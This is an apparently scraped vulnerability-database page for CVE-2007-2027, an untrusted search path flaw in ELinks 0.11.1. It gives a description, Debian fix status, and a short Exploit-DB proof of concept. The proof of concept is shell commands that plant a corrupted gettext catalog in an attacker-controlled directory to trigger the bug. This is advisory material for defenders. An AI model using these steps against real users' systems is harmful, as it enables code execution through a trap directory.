CVE-2007-2027
Description
Untrusted search path vulnerability in the add_filename_to_string function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local users to cause Elinks to use an untrusted gettext message catalog (.po file) in a "../po" directory, which can be leveraged to conduct format string attacks.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
ELinks Relative 0.10.6/011.1 - Path Arbitrary Code Execution
source: https://www.securityfocus.com/bid/23844/info
ELinks is prone to an arbitrary code-execution vulnerability.
An attacker can exploit this issue to potentially execute arbitrary code with the privileges of the user running the affected application.
This issue requires an attacker to trick an unsuspecting victim into running the vulnerable application in an attacker-controlled directory.
This issue affects ELinks 0.11.1; other versions may also be vulnerable.
$ mkdir -p /tmp/elinks/{run,po}
$ cp /usr/share/locale/fr/LC_MESSAGES/elinks.mo /tmp/elinks/po/fr.gmo
$ dd if=/dev/urandom of=/tmp/elinks/po/fr.gmo bs=1024 seek=1 count=200
$ cd /tmp/elinks/runOS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.11.1-1.4 |
| sid | Fixed | 0.11.1-1.4 |
| forky | Fixed | 0.11.1-1.4 |
| bullseye | Fixed | 0.11.1-1.4 |
| bookworm | Fixed | 0.11.1-1.4 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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